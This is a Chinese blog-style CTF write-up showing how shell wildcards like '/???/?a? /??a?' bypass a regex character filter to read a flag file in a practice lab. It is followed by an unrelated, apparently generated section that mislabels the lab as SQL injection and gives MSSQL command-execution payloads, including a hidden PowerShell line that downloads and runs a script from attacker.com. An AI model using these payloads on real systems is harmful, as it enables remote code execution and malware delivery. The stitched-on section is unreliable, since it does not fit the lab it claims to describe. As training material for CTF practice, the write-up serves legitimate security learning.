HelloCTF [RCE-labs] Level 6 - 通配符匹配绕过

开启靶场,打开链接:

GET传参cmd

/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/

b-zA-Z 过滤b到Z范围内的任何单个字符

_ 过滤下划线

:{}\-\+<>\"| 匹配这些符号之一

;\[\] 匹配这些符号之一


可以尝试在Linux终端中做下面的几个实验,使用echo方法输出?匹配的字符串

bash-5.1# echo /???/?????? 
/bin/base64 /bin/getopt /bin/gunzip /bin/ionice /bin/iostat /bin/ipcalc /bin/mktemp /bin/mpstat /bin/umount /bin/usleep /dev/mqueue /dev/random /dev/stderr /dev/stdout /etc/conf.d /etc/group- /etc/init.d /etc/passwd /etc/shadow /etc/shells /etc/ssl1.1 /sys/kernel /sys/module

bash-5.1# echo /???/???
/bin/ash /bin/cat /bin/pwd /bin/rev /bin/sed /bin/tar /dev/pts /dev/shm /dev/tty /etc/apk /etc/opt /etc/ssl /lib/apk /sys/bus /sys/dev /usr/bin /usr/lib /usr/src /var/lib /var/log /var/opt /var/run /var/tmp /var/www

可以利用这个原理:

??a? flag

??? bin

?a??64 base64

?a? cat或tar

bash-5.1# echo /???/?a?
/bin/cat /bin/tar
bash-5.1# echo /???/?a? /??a?
/bin/cat /bin/tar /flag
bash-5.1# echo /???/?a??64
/bin/base64
bash-5.1# echo /???/?a??64 /??a?
/bin/base64 /flag

构造payload:

/?cmd=/???/?a??64 /??a? # 使用 /bin/base64 /flag

成功得到flag:

NSSCTF{ac12efd7-09f9-4bf2-af1d-e0c145a5d35a}


或者构造另一种payload:

?cmd=/???/?a? /??a? #使用 /bin/cat /flag

(这里我重开了靶场,所以flag不一样)

也一样能拿到flag

### RCE-Labs Level 3 概述 RCE-Labs 是一系列针对 SQL 注入漏洞利用的教学平台,旨在帮助安全研究人员理解和掌握如何通过SQL注入实现远程代码执行 (Remote Code Execution, RCE)[^1]。Level 3 特别关注于绕过某些防护机制并最终获得服务器控制权。 ### 技术细节与挑战 在这一级别中,目标应用程序启用了 `Ole Automation Procedures` 功能: ```sql EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE; ``` 这允许攻击者创建 COM 对象来调用外部程序或脚本引擎,从而可能引发任意命令执行的风险。然而,在实际环境中此功能通常被禁用以增强安全性。 ### 利用方法分析 为了成功完成该级别的挑战,可以考虑以下技术路径之一: #### 方法一:使用 WScript.Shell 执行系统指令 当 `Ole Automation Procedures` 被启用时,可以通过如下方式实例化 Windows Script Host 的 Shell 对象,并运行 calc.exe 来验证是否能够触发计算器应用作为测试案例: ```sql DECLARE @o int; EXEC sp_OACreate 'WScript.Shell',@o OUT; EXEC sp_OAMethod @o,'Run',NULL,'calc.exe'; ``` 这种方法展示了基本原理,但在真实场景下还需要进一步处理返回数据以及隐藏进程启动等问题。 #### 方法二:借助 PowerShell 提升权限 另一种更隐蔽且强大的手段是利用PowerShell来进行更为复杂的操作,比如下载恶意软件到本地磁盘然后加载执行等动作。不过需要注意的是这种方式可能会受到更多监控工具的关注而容易暴露行为特征。 ```sql DECLARE @cmd nvarchar(4000); SET @cmd='powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.com/malicious.ps1'')"'; EXEC xp_cmdshell @cmd; ``` 上述两种途径均需谨慎对待,仅限合法授权下的渗透测试活动中采用;任何非法入侵他人计算机信息系统的行为都是违法的!
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值